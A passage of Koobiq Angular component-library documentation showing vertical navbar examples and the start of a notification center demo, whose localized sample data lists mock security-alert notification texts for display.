        KbqButtonModule,
        KbqToolTipModule,
        KbqIconModule,
        NgTemplateOutlet
    ],
    templateUrl: 'navbar-template-outlet-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NavbarTemplateOutletExample {
    protected readonly text = injectExampleText();

    readonly popUpPlacements = PopUpPlacements;
    readonly colors = KbqComponentColors;
    /** Position of the selected app in `text().apps`, so the selection survives a locale switch. */
    readonly selectedApp = signal(0);

    /** Uniform navbar links rendered from a single reusable template. */
    readonly items = computed<readonly NavbarLink[]>(() => [
        { icon: 'kbq-stop_16', label: this.text().dashboards, active: true },
        { icon: 'kbq-stop_16', label: this.text().tasks }
    ]);

    /** Bottom navbar link rendered from the same reusable template. */
    readonly profile = computed<NavbarLink>(() => ({ icon: 'kbq-user_16', label: this.text().profile }));
}
```

```html navbar-template-outlet-example.html
<kbq-dropdown #verticalNavbarDropdown_1="kbqDropdown" [overlapTriggerX]="false" [overlapTriggerY]="true">
    @for (app of text().apps; track $index) {
        <button kbq-dropdown-item (click)="selectedApp.set($index)">{{ app }}</button>
    }
</kbq-dropdown>

<kbq-dropdown #verticalNavbarDropdown_3="kbqDropdown" [overlapTriggerX]="false" [overlapTriggerY]="true">
    <button kbq-dropdown-item>{{ text().point(1) }}</button>
    <button kbq-dropdown-item>{{ text().point(2) }}</button>
</kbq-dropdown>

<div style="height: 480px" class="layout-row">
    <kbq-vertical-navbar #verticalNavbar>
        <!--
            Declare every <ng-template> right where its item appears. The navbar derives its
            keyboard-focus order from its contentChildren(KbqNavbarFocusableItem) query, which lists
            matches in TEMPLATE DECLARATION order — NOT in *ngTemplateOutlet insertion order. Keeping
            each template next to its outlet, and NOT sharing one template across the two containers,
            keeps focus order aligned with visual order. Templates must also stay INSIDE the navbar so
            its content queries keep managing the items (keyboard navigation, layout, collapsing).
        -->
        <kbq-navbar-container>
            <ng-template #bentoTrigger>
                <div
                    #bentoDropdownTrigger="kbqDropdownTrigger"
                    bento
                    kbq-navbar-item
                    [class.kbq-active]="bentoDropdownTrigger.opened"
                    [kbqDropdownTriggerFor]="verticalNavbarDropdown_1"
                >
                    <i kbq-icon="kbq-bento-menu_16" color="contrast"></i>
                    <div kbq-navbar-title>{{ text().allApps }}</div>
                </div>
            </ng-template>
            <ng-container *ngTemplateOutlet="bentoTrigger" />

            <a href="#" kbq-navbar-brand [collapsedText]="text().apps[selectedApp()]">
                <div kbq-navbar-logo>
                    <!-- prettier-ignore -->
                    <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
                </div>

                <div kbq-navbar-title>{{ text().apps[selectedApp()] }}</div>
            </a>

            <ng-template #navbarItem let-item>
                <kbq-navbar-item [class.kbq-active]="item.active">
                    <i color="contrast" [kbq-icon]="item.icon"></i>
                    <kbq-navbar-title>{{ item.label }}</kbq-navbar-title>
                </kbq-navbar-item>
            </ng-template>
            @for (item of items(); track $index) {
                <ng-container *ngTemplateOutlet="navbarItem; context: { $implicit: item }" />
            }

            <ng-template #actionButton>
                <kbq-navbar-item>
                    <button
                        kbq-button
                        [class.kbq-button-icon]="!verticalNavbar.expanded()"
                        [color]="colors.Contrast"
                        [kbqPlacement]="popUpPlacements.Right"
                        [kbqStyle]="'filled'"
                        [attr.aria-label]="text().newTask"
                        [kbqTooltip]="text().newTask"
                        [kbqTooltipDisabled]="verticalNavbar.expanded()"
                    >
                        <i kbq-icon="kbq-plus_16" [color]="'empty'"></i>
                        @if (verticalNavbar.expanded()) {
                            <span>{{ text().newTask }}</span>
                        }
                    </button>
                </kbq-navbar-item>
            </ng-template>
            <ng-container *ngTemplateOutlet="actionButton" />

            <ng-template #moreTrigger>
                <kbq-navbar-item
                    #moreDropdownTrigger="kbqDropdownTrigger"
                    [class.kbq-active]="moreDropdownTrigger.opened"
                    [kbqDropdownTriggerFor]="verticalNavbarDropdown_3"
                >
                    <i kbq-icon="kbq-ellipsis-vertical_16" color="contrast"></i>
                    <kbq-navbar-title>{{ text().more }}</kbq-navbar-title>
                </kbq-navbar-item>
            </ng-template>
            <ng-container *ngTemplateOutlet="moreTrigger" />
        </kbq-navbar-container>

        <kbq-navbar-container>
            <!--
                Single bottom item, rendered inline: it lives in a different container from the list
                above, so it must not reuse that container's template (a shared <ng-template> would
                fold this item into the group above in the focus order).
            -->
            <kbq-navbar-item>
                <i color="contrast" [kbq-icon]="profile().icon"></i>
                <kbq-navbar-title>{{ profile().label }}</kbq-navbar-title>
            </kbq-navbar-item>
        </kbq-navbar-container>

        <button kbq-navbar-toggle></button>
    </kbq-vertical-navbar>

    <div style="overflow: auto; padding-left: 20px; padding-right: 20px" class="flex kbq-text-normal">
        <div>
            @for (paragraph of text().pageText; track $index) {
                <p>{{ paragraph }}</p>
            }
        </div>
    </div>
</div>
```

#### Icon after the title

To show an icon after the item title — for example, on a link to an external resource — add `kbqNavbarItemSuffix` to it. An icon without this attribute is shown before the title, wherever it is written.

**Example: Navbar item with an icon after the title** (`navbar-item-suffix`)

```ts navbar-item-suffix-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { injectExampleText } from '../localized-data';

@Component({
    selector: 'navbar-item-suffix-example',
    imports: [KbqNavbarModule, KbqIconModule],
    templateUrl: 'navbar-item-suffix-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NavbarItemSuffixExample {
    protected readonly text = injectExampleText();
}
```

```html navbar-item-suffix-example.html
<kbq-navbar>
    <kbq-navbar-container>
        <a href="#" kbq-navbar-brand>
            <kbq-navbar-logo>
                <!-- prettier-ignore -->
                <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
            </kbq-navbar-logo>
            <kbq-navbar-title>{{ text().appName }}</kbq-navbar-title>
        </a>

        <kbq-navbar-item class="kbq-active">
            <kbq-navbar-title>{{ text().projects }}</kbq-navbar-title>
        </kbq-navbar-item>

        <a href="#" kbq-navbar-item>
            <kbq-navbar-title>{{ text().documentation }}</kbq-navbar-title>
            <i kbq-icon="kbq-arrow-up-right-from-square_16" color="contrast" kbqNavbarItemSuffix></i>
        </a>
    </kbq-navbar-container>
</kbq-navbar>
```

In the vertical menu the icon is pinned to the right edge of the item.

**Example: Navbar vertical item with an icon after the title** (`navbar-vertical-item-suffix`)

```ts navbar-vertical-item-suffix-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { injectExampleText } from '../localized-data';

@Component({
    selector: 'navbar-vertical-item-suffix-example',
    imports: [KbqNavbarModule, KbqIconModule],
    templateUrl: 'navbar-vertical-item-suffix-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NavbarVerticalItemSuffixExample {
    protected readonly text = injectExampleText();
}
```

```html navbar-vertical-item-suffix-example.html
<div style="height: 480px" class="layout-row">
    <kbq-vertical-navbar [expanded]="true">
        <kbq-navbar-container>
            <a href="#" kbq-navbar-item class="kbq-active">
                <i kbq-icon="kbq-stop_16" color="contrast"></i>
                <kbq-navbar-title>{{ text().dashboards }}</kbq-navbar-title>
            </a>

            <a href="#" kbq-navbar-item>
                <i kbq-icon="kbq-book-open_16" color="contrast"></i>
                <kbq-navbar-title>{{ text().documentation }}</kbq-navbar-title>
                <i kbq-icon="kbq-arrow-up-right-from-square_16" color="contrast" kbqNavbarItemSuffix></i>
            </a>
        </kbq-navbar-container>

        <button kbq-navbar-toggle></button>
    </kbq-vertical-navbar>
</div>
```

#### Custom content instead of the icon

An item can show something other than an icon in the spot before the title: mark the content with `kbqNavbarItemContent`. The navbar reserves a 40×40px square for it — the `--kbq-navbar-item-size-custom-content-width` and `--kbq-navbar-item-size-custom-content-height` tokens — and leaves the positioning inside the square to the content itself: it can fill the whole square or render smaller with its own paddings. The content stays visible when the menu collapses, replacing the icon in the collapsed item.

**Example: Navbar item with custom content instead of the icon** (`navbar-item-custom-content`)

```ts navbar-item-custom-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqNavbarModule } from '@koobiq/components/navbar';

@Component({
    selector: 'navbar-item-custom-content-example',
    imports: [KbqNavbarModule],
    templateUrl: 'navbar-item-custom-content-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NavbarItemCustomContentExample {}
```

```html navbar-item-custom-content-example.html
<div style="height: 480px" class="layout-row">
    <kbq-vertical-navbar [expanded]="true">
        <kbq-navbar-container>
            <a href="#" kbq-navbar-item>
                <div kbqNavbarItemContent>
                    <div
                        style="
                            width: 32px;
                            height: 32px;
                            margin: 4px;
                            border-radius: 8px;
                            background: linear-gradient(135deg, #ec2fa2, #b026ff);
                        "
                    ></div>
                </div>
                <kbq-navbar-title>Orbit</kbq-navbar-title>
            </a>

            <a href="#" kbq-navbar-item class="kbq-active">
                <i kbq-icon="kbq-folder_16" color="contrast"></i>
                <kbq-navbar-title>Dashboards</kbq-navbar-title>
            </a>
        </kbq-navbar-container>

        <button kbq-navbar-toggle></button>
    </kbq-vertical-navbar>
</div>
```

#### Custom component as the item

To keep logic in your own component — a notifications center, a site switcher — implement `KbqNavbarItemTrigger` on it and provide the class as `KBQ_NAVBAR_ITEM_TRIGGER`. The component's host element becomes the trigger: it owns the overlay and takes the keyboard focus, so it does not need an inner button. Keep the host and any inner controls out of the tab order with `tabindex="-1"`; the item moves focus to it programmatically. The item paints the hover, pressed, selected and keyboard-focus states around the component, exactly as it does for a plain item, so do not add a focus outline to the component itself. Inside the component, attach a dropdown, a popover, or any other overlay as usual.

A titled item sizes its leading area like an icon: set `--kbq-navbar-item-size-custom-content-width` and `--kbq-navbar-item-size-custom-content-height` to 16px on the expanded item, and the title starts on the same text axis as in a plain item. The collapsed item keeps the full square.

A plain item with the same content — no custom component — renders identically: mark the leading area with `kbqNavbarItemContent` and set the same tokens, so the title and the badge line up with the component's in both the expanded and the collapsed navbar.

In a horizontal navbar, automatic collapsing still relies on an icon, so items with custom content or a custom component do not collapse automatically.

**Example: Navbar item with a custom interactive component** (`navbar-item-custom-component`)

```ts navbar-item-custom-component-example.ts
import { FocusMonitor } from '@angular/cdk/a11y';
import { ChangeDetectionStrategy, Component, ElementRef, forwardRef, inject, signal } from '@angular/core';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KBQ_NAVBAR_ITEM_TRIGGER, KbqNavbarItemTrigger, KbqNavbarModule } from '@koobiq/components/navbar';
import { KbqPopoverTrigger } from '@koobiq/components/popover';
import { injectExampleText } from '../localized-data';

/**
 * A custom interactive component: the host element itself is the trigger — it owns the popover and the item's
 * keyboard focus, so the navbar delegates interaction to it without a nested button.
 */
@Component({
    selector: 'example-navbar-notifications',
    imports: [KbqIconModule],
    template: `
        <i kbq-icon="kbq-bell_16" color="contrast"></i>
    `,
    providers: [{ provide: KBQ_NAVBAR_ITEM_TRIGGER, useExisting: forwardRef(() => ExampleNavbarNotifications) }],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        '[attr.tabindex]': '-1',
        '(focus)': 'hasFocusState.set(true)',
        '(blur)': 'hasFocusState.set(false)'
    },
    hostDirectives: [
        {
            directive: KbqPopoverTrigger,
            inputs: ['kbqPopoverContent', 'kbqPopoverHeader', 'kbqPopoverPlacement']
        }
    ]
})
export class ExampleNavbarNotifications implements KbqNavbarItemTrigger {
    private readonly host = inject<ElementRef<HTMLElement>>(ElementRef);
    private readonly focusMonitor = inject(FocusMonitor);

    protected readonly hasFocusState = signal(false);

    get hasFocus(): boolean {
        return this.hasFocusState();
    }

    focus(): void {
        this.host.nativeElement.focus();
    }

    focusViaKeyboard(): void {
        this.focusMonitor.focusVia(this.host.nativeElement, 'keyboard');
    }
}

@Component({
    selector: 'navbar-item-custom-component-example',
    imports: [KbqBadgeModule, KbqIconModule, KbqNavbarModule, ExampleNavbarNotifications],
    templateUrl: 'navbar-item-custom-component-example.html',
    styles: [
        `
            .example-navbar-item-leading {
                display: flex;
                align-items: center;
                justify-content: center;
            }

            .kbq-expanded .example-navbar-item-leading {
                justify-content: flex-start;
            }

            /* A titled item has an icon-sized leading slot, so its title starts on the plain item's text axis. */
            .example-navbar-item_compact-leading.kbq-expanded {
                --kbq-navbar-item-size-custom-content-width: var(--kbq-size-l);
                --kbq-navbar-item-size-custom-content-height: var(--kbq-size-l);
            }
        `
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NavbarItemCustomComponentExample {
    protected readonly text = injectExampleText();

    protected readonly popUpPlacements = PopUpPlacements;
}
```

```html navbar-item-custom-component-example.html
<div style="height: 480px" class="layout-row">
    <kbq-vertical-navbar [expanded]="true">
        <kbq-navbar-container>
            <kbq-navbar-item class="example-navbar-item_compact-leading">
                <example-navbar-notifications
                    kbqNavbarItemContent
                    kbqPopoverContent="Body of the notifications center"
                    [kbqPopoverHeader]="text().notifications"
                    [kbqPopoverPlacement]="popUpPlacements.Right"
                />
                <kbq-navbar-title>{{ text().notifications }}</kbq-navbar-title>
                <kbq-badge [badgeColor]="'error'" [compact]="true">2</kbq-badge>
            </kbq-navbar-item>

            <kbq-navbar-item class="example-navbar-item_compact-leading">
                <span kbqNavbarItemContent class="example-navbar-item-leading">
                    <i kbq-icon="kbq-bell_16" color="contrast"></i>
                </span>
                <kbq-navbar-title>{{ text().notifications }}</kbq-navbar-title>
                <kbq-badge [badgeColor]="'error'" [compact]="true">2</kbq-badge>
            </kbq-navbar-item>

            <a href="#" kbq-navbar-item>
                <i kbq-icon="kbq-folder_16" color="contrast"></i>
                <kbq-navbar-title>{{ text().dashboards }}</kbq-navbar-title>
            </a>
        </kbq-navbar-container>

        <button kbq-navbar-toggle></button>
    </kbq-vertical-navbar>
</div>
```

## Notification Center

- Entry point: `@koobiq/components/notification-center`
- NgModule: `KbqNotificationCenterModule`
- Page: https://koobiq.io/en/components/notification-center/overview

### Overview

Notification center — a panel for application notifications.

**Example: notification-center** (`notification-center-overview`)

```ts notification-center-overview-example.ts
import { BreakpointObserver } from '@angular/cdk/layout';
import { ChangeDetectionStrategy, Component, computed, effect, inject, TemplateRef, viewChild } from '@angular/core';
import { takeUntilDestroyed, toSignal } from '@angular/core/rxjs-interop';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonColor, KbqButtonModule, KbqButtonStyleInput, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors, KbqFormattersModule, KbqThemeService, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink } from '@koobiq/components/link';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { KbqNotificationCenterModule, KbqNotificationCenterService } from '@koobiq/components/notification-center';
import { KbqTopBarModule } from '@koobiq/components/top-bar';
import { map } from 'rxjs/operators';
import { createNotifications, injectExampleText } from '../localized-data';

type ExampleAction = {
    id: string;
    icon?: string;
    text?: string;
    action?: () => void;
    style: KbqButtonStyleInput;
    color: KbqButtonColor;
};

enum NavbarIcItems {
    Assets,
    Issues,
    Incidents,
    Policies,
    Security
}

@Component({
    selector: 'notification-center-overview-example',
    imports: [
        KbqNotificationCenterModule,
        KbqNavbarModule,
        KbqBadgeModule,
        KbqIconModule,
        KbqEmptyStateModule,
        KbqTopBarModule,
        KbqButtonModule,
        KbqDropdownModule,
        KbqLink,
        LuxonDateModule,
        KbqFormattersModule
    ],
    templateUrl: 'notification-center-overview-example.html',
    styles: `
        ::ng-deep .example-notification-center-panel {
            margin-top: -139px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NotificationCenterOverviewExample {
    notificationService = inject(KbqNotificationCenterService);

    protected readonly text = injectExampleText();

    private readonly actionsTemplate = viewChild<TemplateRef<unknown>>('actionsTemplate');
    private readonly captionTemplate = viewChild<TemplateRef<unknown>>('captionTemplate');

    private readonly themeService = inject(KbqThemeService, { optional: true });
    protected readonly currentTheme = computed(() => this.themeService?.colorScheme() ?? 'light');

    protected readonly srcSet = computed(() => {
        const currentTheme = this.currentTheme();

        return `https://koobiq.io/assets/images/${currentTheme}/empty_192.webp 1x, https://koobiq.io/assets/images/${currentTheme}/empty_192@2x.webp 2x`;
    });

    readonly isDesktop = toSignal(
        inject(BreakpointObserver)
            .observe('(min-width: 900px)')
            .pipe(
                takeUntilDestroyed(),
                map(({ matches }) => matches)
            ),
        { initialValue: true }
    );

    protected items = NavbarIcItems;
    protected selected: NavbarIcItems = NavbarIcItems.Assets;

    protected readonly actions = computed<ExampleAction[]>(() => [
        {
            id: '1',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Filled,
            text: this.text().primaryAction
        },
        {
            id: '2',
            color: KbqComponentColors.Contrast,
            style: KbqButtonStyles.Transparent,
            icon: 'kbq-ellipsis-horizontal_16'
        }
    ]);

    protected readonly KbqComponentColors = KbqComponentColors;
    protected readonly KbqButtonStyles = KbqButtonStyles;
    protected readonly PopUpPlacements = PopUpPlacements;

    constructor() {
        // Rebuilt on a locale switch to follow the language; the stable ids keep the read state.
        effect(() => {
            const actions = this.actionsTemplate();

            if (!actions) return;

            this.notificationService.items = createNotifications(
                this.text(),
                { actions, caption: this.captionTemplate() },
                this.notificationService.items
            );
        });
    }

    protected readonly popUpPlacements = PopUpPlacements;
}
```

```html notification-center-overview-example.html
<kbq-dropdown #issuesDropdown="kbqDropdown">
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.open }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.inProgress }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.complete }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Issues">{{ text().issueStatuses.closed }}</a>
</kbq-dropdown>

<kbq-dropdown #securityDropdown="kbqDropdown">
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.identity }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.membersAndGuests }}</a>
    <a href="#" kbq-dropdown-item (click)="selected = items.Security">{{ text().securitySections.dataRetention }}</a>
</kbq-dropdown>

<ng-template #captionTemplate>
    <span>
        {{ text().richCaption }}
        <a kbqLink href="">Server-CRIT-01</a>
    </span>
</ng-template>

<ng-template #actionsTemplate>
    <a kbqLink pseudo>{{ text().action1 }}</a>
    <a kbqLink pseudo>{{ text().action2 }}</a>
</ng-template>

<div class="layout-row" style="margin: -20px; height: 498px">
    <kbq-vertical-navbar>
        <kbq-navbar-container>
            <kbq-navbar-item bento>
                <i kbq-icon="kbq-bento-menu_16" color="contrast"></i>
            </kbq-navbar-item>

            <a href="#" kbq-navbar-brand>
                <div kbq-navbar-logo>
                    <!-- prettier-ignore -->
                    <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
                </div>

                <div kbq-navbar-title>{{ text().appName }}</div>
            </a>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Assets"
                (click)="selected = items.Assets"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().assets }}</div>
            </a>

            <kbq-navbar-item
                #issuesDropdownTrigger="kbqDropdownTrigger"
                [class.kbq-active]="selected === items.Issues"
                [kbqDropdownTriggerFor]="issuesDropdown"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().issues }}</div>
            </kbq-navbar-item>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Incidents"
                (click)="selected = items.Incidents"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().incidents }}</div>
            </a>

            <a
                href="#"
                kbq-navbar-item
                [class.kbq-active]="selected === items.Policies"
                (click)="selected = items.Policies"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().policies }}</div>
            </a>

            <kbq-navbar-item
                #securityDropdownTrigger="kbqDropdownTrigger"
                [class.kbq-active]="selected === items.Security"
                [kbqDropdownTriggerFor]="securityDropdown"
            >
                <i kbq-icon="kbq-diamond_16" color="contrast"></i>
                <div kbq-navbar-title>{{ text().security }}</div>
            </kbq-navbar-item>
        </kbq-navbar-container>

        <kbq-navbar-container>
            <div
                #trigger="kbqNotificationCenterTrigger"
                kbq-navbar-item
                kbqNotificationCenterTrigger
                [popoverHeight]="'500px'"
                [kbqNotificationCenterPanelClass]="'example-notification-center-panel'"
            >
                <i
                    kbq-icon="{{ notificationService.silentMode() ? 'kbq-bell-slash_16' : 'kbq-bell_16' }}"
                    color="contrast"
                ></i>
                <div kbq-navbar-title>{{ text().notifications }}</div>
                @if (trigger.unreadItemsCounter(); as unreadItems) {
                    <kbq-badge
                        [badgeColor]="notificationService.silentMode() ? 'fade-contrast' : 'error'"
                        [compact]="true"
                    >
                        {{ unreadItems }}
                    </kbq-badge>
                }
            </div>

            <a href="#" kbq-navbar-item>
                <i kbq-icon="kbq-circle_16" color="success"></i>
                <div kbq-navbar-title>{{ text().systemMonitor }}</div>
            </a>

            <a href="#" kbq-navbar-item>
                <i kbq-icon="kbq-user_16" color="contrast"></i>
                <span kbq-navbar-title>{{ text().administrator }}</span>
            </a>
        </kbq-navbar-container>

        <kbq-navbar-toggle />
    </kbq-vertical-navbar>

    <div class="layout-fill">
        <kbq-top-bar>
            <div class="layout-row layout-align-center-center" kbqTopBarContainer placement="start">
                <div class="kbq-truncate-line" kbqTopBarTitle>{{ text().pageTitle }}</div>
            </div>

            <div kbqTopBarSpacer></div>

            <div kbqTopBarContainer [placement]="'end'">
                @for (action of actions(); track action.id) {
                    <button kbq-button [kbqStyle]="action.style" [color]="action.color">
                        @if (action.icon) {
                            <i kbq-icon="" [class]="action.icon"></i>
                        }
                        @if ((action.text && isDesktop()) || (!action.icon && action.text)) {
                            {{ action.text }}
                        }
                    </button>
                }
            </div>
        </kbq-top-bar>

        <kbq-empty-state style="min-height: 216px">
            <div kbq-empty-state-icon>
                <img
                    src="https://koobiq.io/assets/images/{{ currentTheme() }}/empty_192.webp"
                    height="80"
                    width="80"
                    [alt]="text().emptyState.image"
                    [srcset]="srcSet()"
                />
            </div>
            <div kbq-empty-state-title>{{ text().emptyState.title }}</div>
            <div kbq-empty-state-text>{{ text().emptyState.text }}</div>
        </kbq-empty-state>
    </div>
</div>
```

```ts ../localized-data.ts
import { computed, Signal, TemplateRef } from '@angular/core';
import { kbqInjectLocaleService } from '@koobiq/components/core';
import { KbqNotificationItem } from '@koobiq/components/notification-center';
import { KbqToastStyle } from '@koobiq/components/toast';

/** Resolves `data` for the active locale of the examples, falling back to `default` (English). */
export const injectLocalizedText = <T>(data: Record<string, T> & { default: T }): Signal<T> => {
    const localeService = kbqInjectLocaleService({ optional: true });

    return computed(() => data[localeService?.localeId() ?? 'default'] ?? data.default);
};

/** Text of one notification of the example list. */
interface ExampleNotificationText {
    title: string;
    caption?: string;
}

/** Text shown by the notification center examples. */
export interface ExampleText {
    appName: string;
    assets: string;
    issues: string;
    incidents: string;
    policies: string;
    security: string;
    notifications: string;
    systemMonitor: string;
    administrator: string;
    issueStatuses: { open: string; inProgress: string; complete: string; closed: string };
    securitySections: { identity: string; membersAndGuests: string; dataRetention: string };
    pageTitle: string;
    primaryAction: string;
    emptyState: { image: string; title: string; text: string };
    action1: string;
    action2: string;
    /** Caption of the notifications rendered through a template; it is followed by a link to the server. */
    richCaption: string;
    pushNotification: string;
    pushedTitle: string;
    pushedCaption: string;
    pageItemTitle: (index: number) => string;
    pageItemCaption: (page: number) => string;
    popoverAppName: string;
    projects: string;
    /** One entry per item of {@link NOTIFICATIONS}, in the same order. */
    list: ExampleNotificationText[];
}

const TEXT: Record<string, ExampleText> & { default: ExampleText } = {
    'ru-RU': {
        appName: 'Короткое название',
        assets: 'Активы',
        issues: 'Задачи',
        incidents: 'Инциденты',
        policies: 'Политики',
        security: 'Безопасность',
        notifications: 'Уведомления',
        systemMonitor: 'Мониторинг системы',
        administrator: 'Администратор',
        issueStatuses: { open: 'Открытые', inProgress: 'В работе', complete: 'Выполненные', closed: 'Закрытые' },
        securitySections: {
            identity: 'Идентификация',
            membersAndGuests: 'Участники и гости',
            dataRetention: 'Хранение данных'
        },
        pageTitle: 'Заголовок страницы',
        primaryAction: 'Основное действие',
        emptyState: { image: 'Пустое состояние', title: 'Нет объектов', text: 'Здесь пока нет добавленных объектов' },
        action1: 'Действие 1',
        action2: 'Действие 2',
        richCaption: 'Система обнаружения угроз заблокировала сложную APT-атаку на',
        pushNotification: 'Отправить уведомление',
        pushedTitle: 'Новое уведомление',
        pushedCaption: 'Подпись нового уведомления',
        pageItemTitle: (index) => `Уведомление № ${index}`,
        pageItemCaption: (page) => `Загружено на странице ${page}`,
        popoverAppName: 'Название приложения',
        projects: 'Проекты',
        list: [
            { title: 'Команда безопасности отразила крупную кибератаку' },
            {
                title: 'Подозрительный вход с адреса 192.168.1.45',
                caption: 'Пользователь admin пытался войти из необычного места'
            },
            { title: 'Высокая загрузка ЦП на Server-DB-01', caption: 'Процесс mysqld превысил 90% загрузки ЦП' },
            {
                title: 'Сработало новое правило: маячок вредоносного ПО',
                caption: 'Обнаружен подозрительный трафик к известному C2-серверу'
            },
            { title: 'Критично: попытка несанкционированного доступа к файлу' },
            { title: 'Создана учетная запись администратора', caption: 'Добавлена учетная запись sec-admin' },
            {
                title: 'Правило межсетевого экрана изменено',
                caption: 'Правило Allow RDP изменено пользователем ops-team'
            },
            { title: 'Превышен порог неудачных попыток входа', caption: 'Пользователь john.doe ошибся 15 раз' },
            { title: 'Сканирование уязвимостей завершено', caption: 'Доступен отчет: сканирование № 884' },
            {
                title: 'Атака методом перебора заблокирована',
                caption: 'IP-адрес 203.0.113.55 автоматически внесен в черный список'
            },
            { title: 'Применено обновление правил корреляции SIEM' },
            {
                title: 'Критично: обнаружены признаки программы-вымогателя',
                caption: 'Подозрительное шифрование на Server-FS-03'
            },
            { title: 'Резервное копирование успешно завершено', caption: 'Задание BKP-20251001-06' },
            { title: 'Запрос на сброс пароля', caption: 'Пользователь alex.smith запросил сброс пароля' },
            { title: 'Установлено обновление SIEM' },
            {
                title: 'Критично: обнаружено горизонтальное перемещение',
                caption: 'Подозрительное использование билета Kerberos учетной записью srv-ops'
            },
            { title: 'Диск заполнен более чем на 90%', caption: 'Раздел /var на Server-DB-02 почти заполнен' },
            {
                title: 'Подключено новое устройство: USB-накопитель',
                caption: 'Устройство USB-7782 на рабочей станции PC-004'
            },
            {
                title: 'Подозрительный исходящий трафик',
                caption: 'Соединение с доменом из черного списка bad-domain.com'
            },
            { title: 'Лицензия SIEM истекает через 30 дней' },
            {
                title: 'Пользователь добавлен в привилегированную группу',
                caption: 'mike.ross добавлен в группу Domain Admins'
